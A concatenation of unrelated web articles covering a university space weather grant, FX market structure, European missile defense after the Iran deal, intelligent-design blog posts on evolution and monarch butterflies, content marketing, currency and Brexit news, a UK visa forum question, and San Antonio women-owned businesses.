"To boost space weather modeling we have to go to a smaller scale, spatially and temporarily, which will require new physics as well as combining our current knowledge and models" said Deng. "We will also have to take into account many new phenomena and processes to make this new global simulator effective."

Duane Dimos, vice president of research, applauded Deng's leadership of this new initiative.

"With this new project, UTA is accelerating its research profile and leading a first-class team of the U.S.'s best space physicists to solve an important problem," Dimos said. "This work will be an important pillar of our focus on data-driven discovery within the Strategic Plan 2020: Bold Solutions | Global Impact."

U.S. Rep. Marc Veasey, D-Fort Worth congratulated UTA on this new success.

"UTA is leading a strategic national project that is key to the stability of our communications systems and our national security," Congressman Veasey said. "The Department of Defense's selection clearly demonstrates that research at UTA has reached the very highest level and positions the university among the nation's leaders in this field."

The project involves several phases of data analysis and assimilation, followed by model development and validation. In the first phase, measurements of electric and magnetic fields from low-flying spacecraft and ground-based remote sensing tools will be processed to define the intensity and distribution of energy in the upper atmosphere during both quiet and storm periods. According to the project, this data will then be compared with simulations from Yue Deng's current Global Ionosphere-Thermosphere Model or GITM, which uses advanced computing to model energy redistributions in the upper atmosphere.

Deng's GITM will also be coupled with the Rice Convection Model from UCLA, with an aim to develop a more accurate global space weather simulator. Chaoqun Liu, UTA professor of Mathematics, and Mingwu Jin, UTA assistant professor of Physics, will apply innovative numerical modeling and data processing techniques to achieve high order accuracy and high resolution in the new system's specifications.

This research builds on Deng's 2015 Air Force Office of Scientific Research grant of $378,350 to study space weather effects over the polar regions and two prior NASA grants totaling almost $1,000,000 that she won in 2013 and 2014 to study how energy from solar winds enters and moves around the upper atmosphere and how events affect vertical winds in the upper atmosphere. All three investigations are currently ongoing.

Deng began to develop the Global Ionosphere-Thermosphere Model while she was a graduate student at the University of Michigan working with Aaron Ridley. The model differs from earlier systems in that it includes more processes, permitting a better understanding of upper atmosphere circulation, especially in regard to the vertical dynamics.

Morteza Khaledi, dean of UTA's College of Science, called Deng a true innovator in the area of space physics.

"Dr. Deng has already made important contributions to the field," Khaledi said. "This new project raises the profile of the College of Science and will allow us to give more post-doctoral students, Ph.D. students and undergraduates an extraordinary experience of long-term, highly-visible, cutting-edge national research."

Deng joined the College of Science in 2009. In 2010 she received a National Science Foundation Early Career Development Program grant, known as a CAREER grant, given to outstanding junior faculty who exemplify the role of teacher-scholars.

Deng graduated from Peking University with a bachelor's and master's degree in space physics before moving to the United States to earn doctorate in space science at the University of Michigan.

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About The University of Texas at Arlington

The University of Texas at Arlington is a Carnegie "highest research activity" institution of more than 51,000 students in campus-based and online degree programs and is the second-largest institution in The University of Texas System. U.S. News & World Report ranks UTA fifth in the nation for undergraduate diversity. UTA is a Hispanic-Serving Institution and is ranked as the top four-year college in Texas for veterans on Military Times' 2016 Best for Vets list. Visit http://www.uta.edu to learn more, and find UTA rankings and recognition at http://www.uta.edu/uta/about/rankings.php.
The acquisition of trading platforms Hotspot and 360T by Bats Global Markets and Deutsche Borse respectively last year were bold statements of intent by exchange operators to grab a larger chunk of the trillions of dollars traded in FX every day.



Alan Schwarz,

FXSpotStream

However, while consolidation in the venues supporting FX trading can be expected to result in exchanges becoming more involved in the FX space, any actual market structure change is likely to take a long time to materialize, according to FXSpotStream CEO Alan Schwarz.

The FX market continues to do a good job of addressing regulatory requirements and meeting the demands of market participants, he says.

We have seen a shift in the FX market looking to trade more on a disclosed basis. Our business has continued to see year-on-year growth because there is a move taking place from exchange-like anonymous trading to bilateral, fully disclosed trading between counterparties.

Unlike trading on an exchange, the relationship via FXSpotStream is transparent and trading with the liquidity providing banks is on a fully disclosed basis.

Nuances

Kevin McPartland, head of market structure and technology research at Greenwich Associates, believes that discussion of migration from OTC to exchange fails to take account of some of the nuances of the FX market and that the future lies in venues that support multiple trading models.

There are a host of non-exchange electronic trading venues that allow clients to trade with each other in a variety of ways, he says.



Kevin McPartland,

Greenwich Associates

On the question of whether there is a discernible shift towards fully disclosed trading, McPartland refers to both central limit order book (CLOB) and request-for-quote (RFQ) having their merits.

Despite observations made by the likes of TeraExchange  that order book platforms offer a democratic marketplace through transparent, firm and executable prices  corporates have remained reluctant to abandon the RFQ model.

The key question for CLOB platform providers continues to be not why market participants have migrated to alternative models but rather when they will be in a position to win new business for products that are most suited for order books, such as the benchmarks and plain vanilla products.

RGQ offers liquidity on demand and identification of counterparties, whereas CLOB is faster and its anonymity can be helpful, says McPartland.

But we are now seeing demand for a solution that provides the best of both worlds by enabling trading in an order book format while maintaining a bilateral relationship with counterparties.

Regulation

According to James Sinclair, CEO of MarketFactory, options and other derivatives are moving closer to an exchange model due to the direct effects of regulation and the increased costs of compliance in OTC markets.

He refers to CME FX options as an example, noting they are effectively options on futures.

However, the situation in the spot market is more complicated  some aspects are becoming closer to an exchange, others are moving further away, he says. FX has its own market structure that is hard to fit into the OTC/exchange paradigm.



James Sinclair,

MarketFactory

One of the fundamental reasons why the market does not become centrally cleared, says Sinclair, is that a cleared model carries the cost of insurance against both settlement and market risk.

CLS insures you against settlement risk but not the market risk, he adds. Counterparts still find it cheaper to self-insure against market risk in case of a counterparty default than to pay the extra cost of a fully cleared solution.

A senior platform source observes that growth in exchange-traded products has largely come from futures traders who have looked for diversification and added FX as another asset class.

Very little business has moved from OTC  some banks have added exchanges as additional liquidity sources to cover risk, but that is really the only business that has crossed the divide, the source says.

OTC has become more exchange-like in that the largest banks have continued to extend their internalization of flow, so each now runs an order book trading structure internally.

However, our source also points out that the tightening of credit has reduced the number of prime brokers in FX and costs have risen so the nearest thing that the FX OTC market has to centralized clearing has actually reduced its volume and capacity, he concludes.
The 2015 nuclear deal with Iran undermines the previous argument for the European missile shield, and it is high time to revisit the issue with greater scrutiny. Instead of continuing to insist on the Iranian threat or unidentified new rogue enemies, it makes sense to reevaluate the old proposal by George H.W. Bush to direct missile defense against a greater and truly universal threat, namely the threat of accidental or unauthorized launches.

The threat of Iranian nuclear-armed missiles, which might be used against Europe, has been the key argument behind the construction of NATOs missile defense system on the continent. With the successful conclusion to the nuclear talks and implementation of the July 2015 nuclear deal however, the narrative linking the Iranian threat to global missile defense is becoming harder to sustain. A comprehensive nuclear deal has created increasing Western confidence in Irans intentions, and it is leading to a normalization of relations between Iran and Europe.

The implications of this for missile defense have not gone unnoticed by Russia, which sees the system as potentially threatening. Although Russian arguments have been given little attention in the general context of increasing tensions over the crisis in Ukraine, the situation has long-term implications for nuclear arms control that should not be overlooked in Western capitals. One needs, in particular, to carefully reassess the seriousness of what is described as the remaining Iranian threat to Europe.

The association between Iran and missile defense dates back to the US withdrawal from the Anti-Ballistic Missile (ABM) Treaty in 2002. The 1972 treaty embodied a shared understanding between the US and the Soviet Union that unrestricted development of missile defenses could disrupt strategic balance. The changed US position came to be justified in terms of the need to protect American people against future terrorist or rogue-state missile attacks. Soon after this, the plans for national missile defense turned global, as the system was extended to the Asia-Pacific and Europe. In Asia, the rationale was to protect against North Korea, while the Iranian threat justified the European missile shield.

The Obama administration subsequently modified the European plans to accommodate some of the Russian concerns. At the same time, President Obama continued to emphasize the Iranian threat to Europe as the main rationale behind the system: as he explained in 2009, missile defense was necessary to protect the United States and Europe from an Iranian ballistic missile armed with a nuclear warhead. Furthermore, he assured that if the threat from Irans nuclear and ballistic missile program is eliminated, the driving force for missile defense in Europe will be eliminated.

The latter part of Obamas previous argument is rarely heard today. In effect, there has been little reflection in the US or Europe on what a successful nuclear deal means for European missile defense. In Russia, however, the reverse linkage has not been lost: as the head of the State Duma committee on foreign affairs argued already in connection with the 2013 interim agreement with Iran, that agreement questioned whether there is any sense of the missile shield in Europe being created by NATO.

To be precise, the Iran-P5+1 deal focuses on limiting Irans nuclear program, not its missile capabilities. In fact, Iran has continued the further development of those capabilities during the implementation of the nuclear deal, as evidenced by the latest round of medium-range missile tests in March. However, this can hardly be seen to constitute the kind of threat that would justify the huge investments that are made on NATOs missile shield.

First, the main rationales for Irans missile program are regional. The countrys ballistic missile development began as a response to the experiences of the Iran-Iraq war in the 1980s, and arguably its current objective is to deter Israeli attacks, which have remained a possibility even after the nuclear deal. Irans relations with its immediate neighbors in the region, such as Saudi Arabia, also remain unfriendly and competitive. Any Iranian concessions regarding its missile program are thus unlikely without a profound change in regional relations.

Second, the claim about Irans aggressive intentions towards Europe has always lacked a rational basis, except perhaps in the context following a pre-emptive strike against Irans nuclear facilities. Both the scenario of Iran attacking a nuclear-armed military alliance with conventional missiles and even the previously more compelling idea of it doing so with a nuclear-armed missile are based on the assumption that the countrys leaders are completely mad. Moreover, the technological level of Irans missile arsenal is nowhere near the kind of capability that would threaten either its potential regional adversaries or Europe. As Justin Bronk recently pointed out, Irans medium-range missiles with conventional warheads could be inconvenient and costly but they would certainly not turn the tide of any military operation against Iran by the Gulf Cooperation Council, Israel or the US.

Together with the hardly insignificant technological fact that missile defense is not even likely to work in real life circumstances due to the ease of bypassing it with decoys and other measures, the above considerations point to the conclusion that the European missile shield should simply be abandoned.

Given political realities, however, no objective assessment of the threat nor even curbing the Iranian missile program is likely to stop advances in missile defense. In the words of Steven Pifer, the system is driven more by theology than common sense in US Congressional debate. In Europe, the continuation of the project seems to be ensured by the general lack of public interest in the issue, as well as aversion to anything resembling a concession to Russia in the current circumstances.

The Iran nuclear deal thus presents an additional dilemma for the already strained US-Russian strategic relationship. That European missile defense plans have continued uninterrupted until this day has confirmed long-held Russian suspicions about this system being really designed against Russia. This does not bode well for nuclear arms control, as European missile defense has been a recurring obstacle to US-Russian nuclear arms reductions and is likely to remain so in the future.

At present, it might seem tempting simply to declare the European missile shield as aimed against Russian missile capability. Indeed, some of NATOs East European members openly proposed redirecting the system against Russia in 2014 and that discussion seems to continue. A more careful thought, however, should reveal the inherent absurdity of this option, as it would presume not only expanding the current plans several times, but also creating a defense system against cruise missiles. In addition to being unrealistic practically, even planning for this option would lead to deepening distrust and arms race.

Arguably a better solution would be to recast the system as defense against accidental launches. A proposal to that effect was made by US President George H.W. Bush in 1992, even though the subsequent US-Russian consultations ended without tangible result when Bush Sr. left office. However, the idea is still worth exploring. Looking back at the several cases when an accidental nuclear war was avoided simply by good luck, this threat can be said to be much more imminent than suicidal leaders with their fingers on the nuclear button. It would also have the benefit of not being dependent on fluctuating political relations, nor intractable conflicts with certain adversaries. Its purpose would remain as long as there are nuclear weapons in the world. Additionally, such a system could provide protection against terrorist attacks. Although the ballistic missile threat has not been generally associated with non-state actors, recent Scud missile attacks by the Houthi rebels in Yemen against Saudi Arabia suggest that this possibility should not be overlooked.

A defensive system against accidental or terrorist missile launches could offer protection against a small number of launches coming from any direction, including Russia, the US, or the Middle East. It could work as an appropriately updated and perhaps a somewhat expanded version of what is currently in place. During the 2010 Lisbon summit, discussions on NATO-Russia cooperation on missile defense foundered on the question of who would control the system: Moscow wanted the right of veto on the launch of interceptors, which NATO was not ready to accept. Bearing this in mind, a new collectively managed system against accidental launches might be thinkable in terms of mixed controls. More specifically, it could consist of a NATO segment, a Russian segment, and a joint segment, linking land- and space-based early warning assets in a seamless automatic mode to allow detection, tracking, and exchange of information on interceptor launches within the common space over greater Europe.

Although current tensions are not optimal for arms control, this must not inhibit us from long-term thinking. The reframing of the missile defense dispute could begin with a gradual change of US and European rhetoric, decoupling the Iranian threat from missile defence. Ideally, this would help overcome the muddled strategic thinking behind the European missile shield project. Such clarity might lead NATO to either abandon the system or reshape it with the aim of preventing accidental nuclear launches, in cooperation with Russia. Even if the latter alternative would prove to be too challenging technologically or politically, the cooperative endeavor it would initiate could open the door for much-needed confidence-building  an objective that will ultimately be much more critical to international security than further investment in European missile defense.

The author would like to thank Dr. Nikolai N. Sokov (senior fellow at the James Martin Center for Non-Proliferation studies) for his invaluable comments for this article.

The opinions articulated above represent the views of the author(s), and do not necessarily reflect the position of the European Leadership Network or any of its members. The ELNs aim is to encourage debates that will help develop Europes capacity to address the pressing foreign, defence, and security policy challenges of our time.
Dont let anyone tell you the evolutionary paradigm isnt in serious turmoil. Science Magazine announces an $8.7 million project by the Templeton Foundation seeking an evolution rethink. Im trying to think of the last time I heard Science reporting on support for a gravity rethink, or a heliocentrism rethink. The gist of it:

For many evolutionary biologists, nothing gets their dander up faster than proposing that evolution is anything other than the process of natural selection, acting on random mutations. Suggestions that something is missing from that picture  for example, that evolution is somehow directed or that genetic changes cant fully explain it  play into the hands of creationists, who leap on them as evidence against evolution itself.

Oh, those dreaded creationists and evolution deniers. They mean us.

No wonder some evolutionary biologists are uneasy with an $8.7 million grant to U.K., Swedish, and U.S. researchers for experimental and theoretical work intended to put a revisionist view of evolution, the so-called extended evolutionary synthesis, on a sounder footing. Using a variety of plants, animals, and microbes, the researchers will study the possibility that organisms can influence their own evolution and that inheritance can take place through routes other than the genetic material.

Whatever the outcome, the news has yanked Jerry Coynes chain. He complains in the article:

Evolutionary biologists shouldnt accept its money, says Jerry Coyne, an evolutionary biologist at the University of Chicago in Illinois, who has been a persistent critic of the foundation for linking science and religion. It really slants the way science is done, he told Science.

And again:

Some prominent evolutionary biologists have pushed back against this seeming rebellion. Its a mixture of old ideas that arent novel and reasonable ideas that havent been shown to be of any importance, Coyne says. He and others insist that evolutionary bio- logy has already incorporated some of these ideas or is in the process of doing so  meaning no extension is necessary.

The scope is impressive  49 researchers from different fields and  22 interconnected projects across eight institutions. Coynes dyspeptic reaction gives you an idea of what a huge deal this is.

Oh, so you want to dismiss Templeton because its perspective isnt rigidly materialist enough? Fine, meanwhile this coming November, the Royal Society plans a conference on New trends in evolutionary biology: biological, philosophical and social science perspectives. Despite the subdued title  reflecting British understatement, perhaps  this is more big news, a gathering of major mainstream voices from the world of biology and other fields to hash out the merits of the call for a Third Way for evolution  not classic Darwinism, not intelligent design, but somethingelse:

Scientific discussion meeting organised in partnership with the British Academy by Professor Denis Noble CBE FMedSci FRS, Professor Nancy Cartwright, Sir Patrick Bateson FRS, Professor John Dupre and Professor Kevin Laland. Developments in evolutionary biology and adjacent fields have produced calls for revision of the standard theory of evolution, although the issues involved remain hotly contested. This meeting will present these developments and arguments in a form that will encourage cross-disciplinary discussion and, in particular, involve the humanities and social sciences in order to provide further analytical perspectives and explore the social and philosophical implications.

When it comes to hotly contesting the standard theory of evolution, the timing couldnt be better. This coming Monday well have the opportunity to celebrate two significant anniversaries  that of the description of the structure of the DNA molecule by Watson and Crick (they published on April 25, 1953) and the fiftieth anniversary of the Wistar Institute conference on Mathematical Challenges to the Neo-Darwinian Interpretation of Evolution.

Note the conferences title. It wasnt about rejecting or denying evolution but searching for a justified interpretation of the agreed scientific evidence. The Philadelphia meeting, spurred on by MITs Murray Eden and planting a seed for what would become the modern ID movement, which offers its own positive interpretation, convened on April 25-26, 1966.

If youll forgive a morbid metaphor, Wistar was like the ominous spot first seen on the X-ray of a vital organ  the beginning of the end for unguided Darwinian processes as the sole, satisfactory explanation of how complex biological features evolve.

ID, obviously, is one source of the current challenge to Darwinism, but its only one source. You could erase ID advocates entirely from the battle map, and Darwinian theory would still be under siege. Evolutions smug cultists are in denial about that, but its true.

Image: Siege of Lisbon, by Alfredo Roque Gameiro [Public domain], via Wikimedia Commons.
The amazing story of how Monarch butterflies navigate from Canada to Mexico is beautifully recounted in Metamorphosis, the Beauty and Design of Butterflies. Heres a butterfly species that does something truly spectacular, Thomas Emmel says in the film. Flying over two thousand miles without an experienced leader who has made the trip before, millions of these artistically-colored flyers arrive on schedule in the same trees their grandparents or great-grandparents had wintered in the previous year.

Somehow, with a brain the size of a pinhead and a body weighing less than an ounce, the butterfly contains hardware and software for long-range precision navigation, efficient energy utilization and genetic alterations that enable the Methuselah generation to survive ten times as long as their parents. Emmel comments that this phenomenon will likely occupy biologists attention for centuries to come. Researchers at the University of Washington announced this month that they have cracked the secrets of one small aspect of this wonder: the monarchs internal time-compensated sun compass.

We saw from the film that the angle of the sun and its traverse through the daylight hours plays a role in the choice of flight direction. Using sunlight to navigate requires processing dynamic inputs:

Their compass integrates two pieces of information  the time of day and the suns position on the horizon  to find the southerly direction, said Eli Shlizerman, a University of Washington assistant professor. [Emphasis added.]

But how is this information processed in the butterflys tiny brain? The compass needs to be integrated with the clock.

Monarchs use their large, complex eyes to monitor the suns position in the sky. But the suns position is not sufficient to determine direction. Each butterfly must also combine that information with the time of day to know where to go. Fortunately, like most animals including humans, monarchs possess an internal clock based on the rhythmic expression of key genes. This clock maintains a daily pattern of physiology and behavior. In the monarch butterfly, the clock is centered in the antennae, and its information travels via neurons to the brain.

We saw electron micrographs of the antennae in the film. Covered with scales and tiny hairs, these organs are the sites for odor detection, enabling the monarchs to find mates and the females to find their host plants from miles away. Now we learn they are clocks, too:

In their model, two neural mechanisms  one inhibitory and one excitatory  controlled signals from clock genes in the antennae. Their model had a similar system in place to discern the suns position based on signals from the eyes. The balance between these control mechanisms would help the monarch brain decipher which direction was southwest.

Using models and live butterflies in a flight simulator, the researchers determined how they get back on track if blown off course. Theres a separation point that determines whether the individual will turn left or right. That point changes throughout the day. The insects onboard computer wont let it cross the separation point, even if it requires a longer path to get back on course. The scientists also shed light on how the butterflies readjust their compasses for the return trip.

Their model also suggests a simple explanation why monarch butterflies are able to reverse course in the spring and head northeast back to the United States and Canada. The four neural mechanisms that transmit information about the clock and the suns position would simply need to reverse direction. And when that happens, their compass points northeast instead of southwest, said Shlizerman. Its a simple, robust system to explain how these butterflies  generation after generation  make this remarkable migration.

Simple, simply  while appreciating the insights our neighbors at UW have gained, such talk is premature. Theres a lot more going on. For one thing, not all individual butterflies head southwest and return northeast. The flight paths from Canada begin on different bearings and converge into a narrow flight path in southern Texas. Also, as Metamorphosis shows, a few individuals take a direct route across the Gulf of Mexico. Then, they all switch direction at a certain point, heading west through a pass toward the Trans-Volcanic Range. Then, within those mountains, they converge on specific trees in 12 known overwintering spots.

Time of day and sun position are necessary, but not sufficient, to explain these precise behaviors. If the researchers feel they have cracked the secret of maintaining a particular bearing, they have left all these other secrets unexplained. Their model only shows the bare outlines of a sophisticated, integrated system. The paper in Cell Reports says:

A long-standing, fundamental question about monarch migration has been how the circadian clock interacts with the changing position of the sun to form a time-compensated sun compass that directs flight. Here, we propose a neuronal model for both encoding of the suns azimuthal position, and molecular timekeeping signals, and how they can be compared to form a time-compensated sun compass. Our results propose a simple neural mechanism capable of producing a robust time-compensated sun compass navigation system through which monarch butterflies could maintain a constant heading during their migratory flight.

But as we just said, the butterflies dont keep a constant heading. They make turns. And what tells individuals in Minnesota to head south and individuals in Pennsylvania to head southwest? Do their offspring for the three generations on the return trip keep the target information embedded in their memories? A compass is no good without a map. Both are no good without a brain to read them. Furthermore, as we reported about Bogong moths, some lepidopterans can reach their long-range destinations in the dark!

The researchers identified four genes that keep time by oscillating their expression levels. They identified how the compound eye determines azimuth and bearing even when the suns position is changing throughout the day. A butterfly, however, needs much more. It needs controls for altitude, pitch, and yaw. It needs a map of where it has to go. And it needs to monitor resources to ensure it has the energy to get there.

Nevertheless, were glad for any and all research that sheds light on the details of monarch butterfly navigation, especially when it can lead to intelligently designed applications that benefit everyone:

The model that we have built closes the loop between the time and azimuth stimuli and orientation control. As such, it provides an important framework for future studies of the monarch sun compass. Our framework can be used to design electrophysiological and flight recordings experiments to compare responses in monarchs neurons and model units and to determine the detailed architecture of neural circuits that implement the integration mechanism postulated by our model. It also provides a simple mechanism for navigation that can be used in devices that do not have the benefit of a global positioning system.

A complex, functional system that, when partially understood, can be used to design something else must have been designed itself.

Photo credit: Illustra Media.
Content is king and with audience attention shrinking by the day; this simple fact is becoming even more apparent. The old playbook, where advertisers owned content and needed traditional media to reach consumers, is broken; said Ryan Bonnici, Marketing Director at HubSpot, APAC & Japan.

Think who you are creating content for. Create a buyer persona based on your ideal consumer. This will inform your strategy, he said. According to him, compelling content is something that provides value, has relevance, is timely and is unique. He advised marketers to use easily available online tools, like Google Trends, Snip.ly, BuzzSumo, etc. to decide the kind of content to create while keeping in mind what rivals were up to and what their audience was talking about.

Stating that personalized content was one of the key things for a marketer, he said, We need to start thinking of personalized content in a more dynamic way and this can be done by gathering more explicit data from your audience. The next step is to gather implicit data depending on their behaviour online. Build a 360 degree view of the person and then personalize the experience.



Bonnici also stressed on the importance of optimizing for conversion, which would have a direct bearing on business while also providing utility to the user through the content. One of his suggestions was for marketers to reverse engineer the consumer funnel to actually understand how much the company can spend on getting a single consumer.

Boniccis point on optimizing content for conversion was also echoed by Ayal Steiner, MD (APAC) at Outbrain. According to him, the age-old belief that content marketing is only good for brand awareness is flawed. Until recently, the only way for marketers to tell their story was through interruptions (in the content) through display ads, search ads, etc. but performance and content marketing are now coming together, he said. He justified this by pointing out that content marketers want to show results while performance markets want to tap into more interest moments.



Steiner also noted that the digital medium has three key moments; search, social and discovery. The trick, he said, was to inspire a call to action on the content landing page. Content landing pages should be interest-based, he said. Content should be part of your performance marketing strategy. The interest moment is a data goldmine for advertisers and you have to use it.



He pointed out that any person who has shown interest in the content has already declared to be the relevant target audience. To further narrow down this targeting, he advised marketers to use titles and headlines to pre-qualify and target the right audience. Pay a little more to reach the right audience, was his advice.



Another way of capturing audience interest and ensuring that they move closer to a conversion is by engaging their attention throughout the funnel. To find the audience again you have to engage and re-engage with them. To do this, sequence your stories as the audience movies down the funnel by showing different attributes each time. This is especially useful for products that have longer decision times, like cars, mortgages, etc.



Creating great digital content has become highly sought after in India as is evidenced by the mushrooming of a number of digital content creators, some backed by big names in the industry as well as the success of popular studios like The Viral Fever and AIBs Vigyapanti, among others.



International content marketing specialists like Outbrain and Taboola have also entered India and are seeing it as a high growth market. The Times Group, Indias largest media network recently launched their in-house native, content advertising platform called Colombia.

The entry of new players and the steps taken by companies like The Times Group are good for the ecosystem as it creates more awareness about the importance of content when it comes to digital marketing, opined Neeraj Singhal, (Sales Director) at Outbrain India.

Meanwhile, though B2C companies have taken to content marketing like a duck to water, there is no reason for B2B companies to shy away from the idea, says Thomas Cherian, Head of Corporate Communications, India & SAARC at Cisco.



Research suggests that B2B brands need to do this (content marketing). They should no longer just think about pushing customers to buy. Engage audiences in content that matters and talk about larger topics that directly relate to your brand. Amplify your content on social media, while experimenting with new platforms like Vine. If you can do this then you can create some really memorable content, he said.



Bonnici, Cherian and Steiner were speaking at the ongoing Click Asia Summit in Mumbai.

Read more news about (internet advertising India, internet advertising, advertising India, digital advertising India, media advertising India)
After a run of disappointing US ecostats, many analysts predict a North American economic slowdown in the first quarter of 2016.

After slumping earlier in the year as a result of Brexit fears and Federal Reserve rate hike hopes, the pound to dollar exchange rate has staged something of a rebound.

Over the last five days of trading the GBP/USD exchange rate achieved a high of 1.4446, and the pairing could have further to run.

If the recent run of disappointing US ecostats prevents the Fed from raising interest rates again in the near future and the UK votes to remain in the EU, a Cable rebound is likely.

The unexpectedly sharp weakening of the Philadelphia Fed manufacturing survey on Thursday did not appear to bode well for the April US Manufacturing PMI.

Sentiment dipped markedly on the month in April from 12.4 to -1.6, suggesting that the outlook of the domestic manufacturing industry is not overly positive and denting the appeal of the US Dollar (USD) further.

In recent weeks the US Dollar has retreated following a slew of disappointing domestic ecostats.

Adding further downside pressure to US Dollar exchange rates has been increased bets regarding Federal Reserve rate hike delays as the global economic recovery continues to disappoint.

Analysts at Citibank predict a significant slowdown in US first-quarter economic growth and have revised down predictions of overall growth in 2016 and 2017.

Other Foreign Exchange News

Latest Pound/Dollar Exchange Rates

On Monday the Euro to British Pound exchange rate (EUR/GBP) converts at 0.869

Today finds the pound to euro spot exchange rate priced at 1.15.

The pound conversion rate (against pound) is quoted at 1 GBP/GBP.

NB: the forex rates mentioned above, revised as of 24th Oct 2022, are inter-bank prices that will require a margin from your bank. Foreign exchange brokers can save up to 5% on international payments in comparison to the banks.

Political Uncertainty Continues to Dampen US Dollar (USD) Exchange Rate Investor Sentiment

Over the past week the US Dollar declined versus most of its major peers thanks to the combination of dovish speeches from Federal Reserve officials and disappointing domestic ecostats.

Also weighing heavily on demand for the US asset is political uncertainty as the race for Presidential Candidacy has revealed a powerful lead for some of the more controversial candidates.

In reaction to the recent success of weak domestic data reports, Citibank analysts reduced forecast for US growth in 2016 and 2017, stating:

In our view, recent US data reflected economic growth may be weak in 1Q16 and may come in at 0.9% only. In addition, due to continued global economic risk and uncertainty, we revised down 2016 and 2017 economic growth forecast to 1.7% and 2.1%.

Pound Sterling (GBP) Exchange Rates Continue to Strengthen as Brexit Fears Ease

Irrespective of disappointing domestic data, the UK Pound advanced considerably versus its major peers over the past week.

The GBP exchange rate appreciation can be linked to easing concerns regarding a Brexit after the latest opinion polls suggest a commanding lead for the Remain campaign.

Any opinion polls will be taken with a pinch of salt, however, given the massive inaccuracy of polls related to the General Election. As we draw ever closer to the EU referendum vote on June 23rd, therefore, the UK Pound is likely to come under renewed downwards pressure.

Euro (EUR) Exchange Rates are Forecast to Decline after Domestic Data Disappointed

Having taken advantage of recent US Dollar weakness, the single currency made some notable gains over the past week.

However, the appreciation was short-lived after domestic data failed to buoy investor sentiment.

German Services and Composite PMIs unexpectedly declined in April, whilst Eurozone Services, Manufacturing and Composite PMIs all failed to meet with the respective median market forecasts during the same period.


Much has been written already about the UK potentially leaving the European Union and its potential effect on expats with concerns and worries being expressed.But new research shows that European citizens are even more concerned about what is known as a Brexit than British people.The poll of five European countries by global research company TNS found that 78% of Germans, 67% of Spaniards, 59% of French and 54% of Polish people want the UK to stay in Europe.In these countries few want the UK to leave. In France opinion is more divided than in the other countries with 41% saying they want Britain to leave but no one did not take one position or the other.In Spain just 7% want the UK to leave but 26% said they did not know while in Germany just 13% want the UK to leave and 9% don't know. There are more don't knows in Poland with 39% unable to make up their mind and just 7% wanting the UK to leave.But in the UK opinion is much more evenly split with 38% wanting the UK to remain in the EU, 34% wanting the country to leave and 28% undecided.British people, and expats registered to vote in the UK, will vote for the country to stay or leave the EU in a referendum on 23 June and the campaign from both sides is already underway.When it comes to what people expect will happen, as opposed to what they want to happen, some 40% of British people expect the UK to stay in the EU while 26% expect the country to leave.Some 47% of Germans, 48% of Spaniards and 44% of Poles predict Britain will stay but in France 52% think the UK will leave and 48% expecting the vote to result in the country staying in the EU.The British people think leaving will harm the economy in the EU with the poll showing that only a tenth think it will improve, 38% think it will deteriorate and 21% think there will be no change.Other Europeans are less positive when it comes to the potential effect of a Brexit on the EU economy. Two thirds of Germans, 43% of Spaniards, 39% of Poles and 33% of French predicted a Brexit would hurt the EU's economy.
Hi there,my hubby got refused spouse visa on 14th december 2015 on the bassis relationship is not genuine,we have appealed on 4th of january 2016,they have taken fee on 14th of january.7th of march we have received notice of appeal and said they'll contact with us after 20th june.



This month 10th of april i went to see him at bangladesh and today i came back,so can i send them more documents like my travel ticket,boarding pass,hotel bill,pictures,and we have oppened a joint bank account in bangladesh.



Will it help for review?and how can i send it and where can i send it?also does anyone know if they overturn descision how long it can take after sending notice of appeal?



A response would be much appreciated.
Its one remarkable fact that the number of women-owned businesses in San Antonio doubled between 2002 and 2012.

Its another remarkable fact that San Antonio was tied for No. 4 in the nation, at 101 percent with Las Vegas, Nevada, in the growth of women-owned businesses during that decade.

Perhaps the best fact of all is that the number of women-owned businesses in San Antonio, and in the nation as a whole, grew the fastest not despite of the 2007-09 recession but because of it.

Those are among the findings in a new report issued by the National Womens Business Council in Washington, D.C., which advises the White House, Congress and the U.S. Small Business Administration.

The data comes from the U.S. Census Bureau, which conducts a national survey of business owners every five years. It did so in 2002, 2007 and 2012, but the 2012 results were not compiled and reported until January this year.

Broken down by metropolitan areas, the results show that San Antonio in 2002 had 33,859 women-owned businesses. That number rose by nearly 15,000 in 2007 and increased by nearly 20,000 in the five-year period between 2007 and 2012 to reach 68,128.

The acceleration in San Antonio was part of the national trend. Between 2002 and 2012, the growth rate of business formation nationally by women was 2.5 times the overall national rate.

For the first five years of that period, the rate of company formation by women was 20 percent nationally. Between 2007 and 2012, a period that included the recession and the early years of slow recovery, the growth rate nationally jumped to 27 percent.

Minority women were at the forefront of the growth. They represented 14 percent of women-owned businesses in 2002, but that jumped to 38 percent in 2012.

In San Antonio during that 10-year period, employment at women-owned companies grew 122.5 percent, to 88,907 people in 2012. Sales at those companies in 2012 totaled $12.25 billion, a 109.7 percent increase from 2002.

Our performance as job creators highlights the importance of women-owned businesses to our local economy, said Cristina Morales Heaney, owner of U.S. Safety Services and board president of the San Antonio chapter of the National Association of Women Business Owners.

Women-owned businesses in San Antonio reach every sector of our economy, including financial, accounting, legal services and even areas that are considered nontraditional for women, such as construction, trucking and manufacturing, Heaney said.

Heaney said Gov. Greg Abbott has noticed the trend in Texas. She recalled what Abbott wrote in a Forbes magazine online post last September: If every woman-owned business in America were able to add just one new job tomorrow, the nation would reach full employment.

In Texas, the largest categories of women-owned companies are in health care and social assistance; administrative and support companies and waste management/remediation services; professional/scientific/technical services; and retail trade, according to the National Womens Business Council report.

The growth trend came from a convergence of several sources, said Amanda Brown, National Womens Business Council executive director. The idea of entrepreneurship has become normalized, Brown said. More people think of it as an option.

More organizations at the local and regional levels now operate programs to encourage entrepreneurship. Community colleges and universities added more courses. More corporations began procurement programs that seek out women-owned companies for supplies and services, Brown said.

The acceleration of growth in women-owned companies during the recession will be studied further by the national council, but Brown said people suffered economically during the recession and turned to starting their own companies out of necessity entrepreneurship.

People needed to innovate at the home level, she said. These results are super interesting. Women are starting and sustaining companies in a way men are not.

Brown added she believes the growth trend has continued since 2012.

Voter Guide: What to know for the midterm election Your guide to the Texas and San Antonio races and candidates on the Nov. 8 ballot.

In 2012, women-owned businesses nationally totaled nearly 10 million. About 90 percent of them are sole proprietorships, Brown said. The 10 percent that hired additional workers employ another 8 million people.

However, although women-owned businesses nationally had collective revenues of $1.4 trillion in 2012, that was only 4 percent of national sales, meaning women have a long way to go.

Thats a gap, but it also is an opportunity, Brown said.

The growth in women-owned companies is good news for society. Women employers have found ways to remain competitive for workers through the use of perquisites, or perks, if they cannot match competitors pay, Brown said.

Women-owned companies also are quick to make gifts to the community. Their donations tend to support schools, parks and arts programming, Brown said.

